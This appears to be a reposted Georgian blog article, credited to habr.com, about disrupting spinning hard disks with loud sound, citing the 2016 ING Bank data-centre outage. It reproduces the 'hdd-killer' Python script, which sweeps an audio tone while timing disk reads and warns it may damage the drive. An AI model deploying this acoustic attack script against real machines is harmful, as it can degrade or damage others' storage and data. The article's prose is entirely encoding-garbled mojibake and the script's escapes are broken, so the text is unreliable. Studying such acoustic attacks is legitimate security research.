แƒ แƒแƒขแƒแƒ› แƒแƒ  แƒฃแƒœแƒ“แƒ แƒฃแƒงแƒ•แƒ˜แƒ แƒ HDD-แƒ–แƒ”?
Linux-แƒ˜แƒก แƒ‘แƒ˜แƒ แƒ—แƒ•แƒ›แƒ แƒ’แƒแƒ›แƒแƒ แƒ—แƒ แƒ›แƒงแƒแƒ แƒ˜ แƒ“แƒ˜แƒกแƒ™แƒ˜ Edifier r120u USB แƒ“แƒ˜แƒœแƒแƒ›แƒ˜แƒ™แƒ˜แƒก แƒ“แƒ˜แƒœแƒแƒ›แƒ˜แƒ™แƒ˜แƒก แƒ›แƒ”แƒจแƒ•แƒ”แƒแƒ‘แƒ˜แƒ— แƒ แƒ”แƒ–แƒแƒœแƒแƒœแƒกแƒฃแƒšแƒ˜ แƒกแƒ˜แƒฎแƒจแƒ˜แƒ แƒ˜แƒ— แƒฎแƒ›แƒ˜แƒก แƒ›แƒ˜แƒฌแƒแƒ“แƒ”แƒ‘แƒ˜แƒ“แƒแƒœ 19 แƒฌแƒแƒ›แƒ˜แƒก แƒจแƒ”แƒ›แƒ“แƒ”แƒ’. แƒ“แƒ˜แƒœแƒแƒ›แƒ˜แƒ™แƒ˜ แƒฉแƒแƒ แƒ—แƒฃแƒšแƒ˜แƒ แƒ“แƒแƒแƒฎแƒšแƒแƒ”แƒ‘แƒ˜แƒ— แƒ›แƒ”แƒแƒ—แƒฎแƒ”แƒ“แƒ˜ แƒกแƒ˜แƒ›แƒซแƒšแƒแƒ•แƒ แƒ˜แƒ— (100 แƒ›แƒ•แƒข-แƒ–แƒ” แƒœแƒแƒ™แƒšแƒ”แƒ‘แƒ˜) แƒ“แƒ แƒ›แƒ“แƒ”แƒ‘แƒแƒ แƒ”แƒแƒ‘แƒก HDD-แƒ“แƒแƒœ 20 แƒกแƒ› แƒ“แƒแƒจแƒแƒ แƒ”แƒ‘แƒ˜แƒ—, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒ›แƒ˜แƒ–แƒœแƒแƒ“ แƒ˜แƒกแƒแƒฎแƒแƒ•แƒก แƒ›แƒแƒ’แƒ˜แƒ“แƒแƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ˜แƒก แƒ’แƒแƒกแƒแƒ–แƒ แƒ“แƒ”แƒšแƒแƒ“. แƒฉแƒแƒ แƒฉแƒ แƒกแƒแƒฌแƒงแƒ˜แƒกแƒ˜ แƒ•แƒ˜แƒ“แƒ”แƒ แƒ™แƒšแƒ˜แƒžแƒ˜ HDD แƒ›แƒ™แƒ•แƒšแƒ”แƒšแƒ˜แƒก แƒ“แƒ”แƒ›แƒแƒœแƒกแƒขแƒ แƒ˜แƒ แƒ”แƒ‘แƒ˜แƒ—

แƒกแƒแƒ˜แƒœแƒขแƒ”แƒ แƒ”แƒกแƒแƒ, แƒ แƒแƒ› HDD-แƒ”แƒ‘แƒ–แƒ” แƒแƒกแƒ”แƒ—แƒ˜ โ€žแƒจแƒ”แƒขแƒ”แƒ•แƒ”แƒ‘แƒ˜โ€œ แƒ–แƒแƒ’แƒฏแƒ”แƒ  แƒกแƒ แƒฃแƒšแƒ˜แƒแƒ“ แƒจแƒ”แƒ›แƒ—แƒฎแƒ•แƒ”แƒ•แƒ˜แƒ— แƒฎแƒ“แƒ”แƒ‘แƒ แƒงแƒแƒ•แƒ”แƒšแƒ“แƒฆแƒ˜แƒฃแƒ  แƒชแƒฎแƒแƒ•แƒ แƒ”แƒ‘แƒแƒจแƒ˜. แƒ›แƒแƒ’แƒแƒšแƒ˜แƒ—แƒแƒ“, 2016 แƒฌแƒšแƒ˜แƒก แƒกแƒ”แƒฅแƒขแƒ”แƒ›แƒ‘แƒ”แƒ แƒจแƒ˜, ING Bank แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒชแƒ”แƒœแƒขแƒ แƒ˜ แƒ˜แƒซแƒฃแƒšแƒ”แƒ‘แƒฃแƒšแƒ˜ แƒ’แƒแƒฎแƒ“แƒ แƒจแƒ”แƒฉแƒ”แƒ แƒ”แƒ‘แƒฃแƒšแƒ˜แƒงแƒ แƒแƒžแƒ”แƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ˜ 10 แƒกแƒแƒแƒ—แƒ˜แƒก แƒ’แƒแƒœแƒ›แƒแƒ•แƒšแƒแƒ‘แƒแƒจแƒ˜ แƒกแƒแƒฎแƒแƒœแƒซแƒ แƒ แƒกแƒฌแƒแƒ•แƒšแƒ”แƒ‘แƒ˜แƒก แƒจแƒ”แƒ›แƒ“แƒ”แƒ’. แƒแƒ—แƒแƒ‘แƒ˜แƒ— แƒ›แƒงแƒแƒ แƒ˜ แƒ“แƒ˜แƒกแƒ™แƒ˜ แƒฌแƒแƒ แƒฃแƒ›แƒแƒขแƒ”แƒ‘แƒ”แƒšแƒ˜แƒ แƒ›แƒแƒฆแƒแƒšแƒ˜ แƒฌแƒœแƒ”แƒ•แƒ˜แƒก แƒฅแƒ•แƒ”แƒจ แƒชแƒ˜แƒšแƒ˜แƒœแƒ“แƒ แƒ”แƒ‘แƒ˜แƒ“แƒแƒœ แƒ’แƒแƒ›แƒแƒ—แƒแƒ•แƒ˜แƒกแƒฃแƒคแƒšแƒ”แƒ‘แƒฃแƒšแƒ˜ แƒ˜แƒœแƒ”แƒ แƒขแƒฃแƒšแƒ˜ แƒแƒ˜แƒ แƒ˜แƒก แƒฎแƒ›แƒแƒ›แƒแƒฆแƒแƒšแƒ˜ แƒฎแƒ›แƒ˜แƒก แƒ’แƒแƒ›แƒ. แƒฎแƒ›แƒ แƒ˜แƒงแƒ แƒซแƒแƒšแƒ˜แƒแƒœ แƒฎแƒ›แƒแƒ›แƒแƒฆแƒแƒšแƒ˜ (130 แƒ“แƒ‘-แƒ–แƒ” แƒ›แƒ”แƒขแƒ˜), แƒ›แƒแƒ’แƒ แƒแƒ› แƒ›แƒงแƒแƒ  แƒ“แƒ˜แƒกแƒ™แƒ”แƒ‘แƒ–แƒ” แƒงแƒ•แƒ˜แƒ แƒ˜แƒšแƒ˜แƒช แƒ™แƒ˜ แƒแƒ  แƒจแƒ”แƒ’แƒ˜แƒซแƒšแƒ˜แƒแƒ— - แƒ”แƒก แƒ–แƒ แƒ“แƒ˜แƒก HDD-แƒ–แƒ” แƒฌแƒ•แƒ“แƒแƒ›แƒ˜แƒก แƒจแƒ”แƒคแƒ”แƒ แƒฎแƒ”แƒ‘แƒแƒก.

แƒแƒ“แƒแƒ›แƒ˜แƒแƒœแƒ˜แƒก แƒงแƒ•แƒ˜แƒ แƒ˜แƒšแƒ˜แƒก แƒ“แƒ”แƒ›แƒแƒœแƒกแƒขแƒ แƒ˜แƒ แƒ”แƒ‘แƒ แƒ›แƒงแƒแƒ  แƒ“แƒ˜แƒกแƒ™แƒ”แƒ‘แƒ–แƒ” แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒชแƒ”แƒœแƒขแƒ แƒจแƒ˜. แƒจแƒ”แƒงแƒแƒ•แƒœแƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒ–แƒแƒ›แƒ•แƒ


แƒ แƒ”แƒ–แƒแƒœแƒแƒœแƒกแƒฃแƒšแƒ˜ แƒฎแƒ›แƒ˜แƒก แƒ’แƒแƒ›แƒแƒกแƒแƒ›แƒฃแƒจแƒแƒ•แƒ”แƒ‘แƒšแƒแƒ“, แƒแƒšแƒคแƒ แƒ”แƒ“แƒ แƒแƒ แƒขแƒ”แƒ’แƒแƒ› แƒ“แƒแƒฌแƒ”แƒ แƒ แƒžแƒ˜แƒ—แƒแƒœแƒ˜แƒก แƒกแƒ™แƒ แƒ˜แƒžแƒขแƒ˜ แƒ”.แƒฌ HDD-แƒ›แƒ™แƒ•แƒšแƒ”แƒšแƒ˜ (แƒ•แƒ˜แƒ“แƒ”แƒ แƒ“แƒ”แƒ›แƒแƒœแƒกแƒขแƒ แƒ˜แƒ แƒ”แƒ‘แƒ).

HDD แƒ›แƒ™แƒ•แƒšแƒ”แƒšแƒ˜ แƒกแƒ™แƒ แƒ˜แƒžแƒขแƒ˜ แƒ˜แƒก แƒกแƒแƒ™แƒ›แƒแƒแƒ“ แƒ›แƒชแƒ˜แƒ แƒ”แƒ, แƒแƒกแƒ” แƒ แƒแƒ› แƒ—แƒฅแƒ•แƒ”แƒœ แƒจแƒ”แƒ’แƒ˜แƒซแƒšแƒ˜แƒแƒ— แƒกแƒ แƒฃแƒšแƒแƒ“ แƒ’แƒแƒ›แƒแƒแƒฅแƒ•แƒ”แƒงแƒœแƒแƒ— แƒแƒฅ.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

แƒฌแƒงแƒแƒ แƒ: www.habr.com

แƒแƒฎแƒแƒšแƒ˜ แƒ™แƒแƒ›แƒ”แƒœแƒขแƒแƒ แƒ˜แƒก แƒ“แƒแƒ›แƒแƒขแƒ”แƒ‘แƒ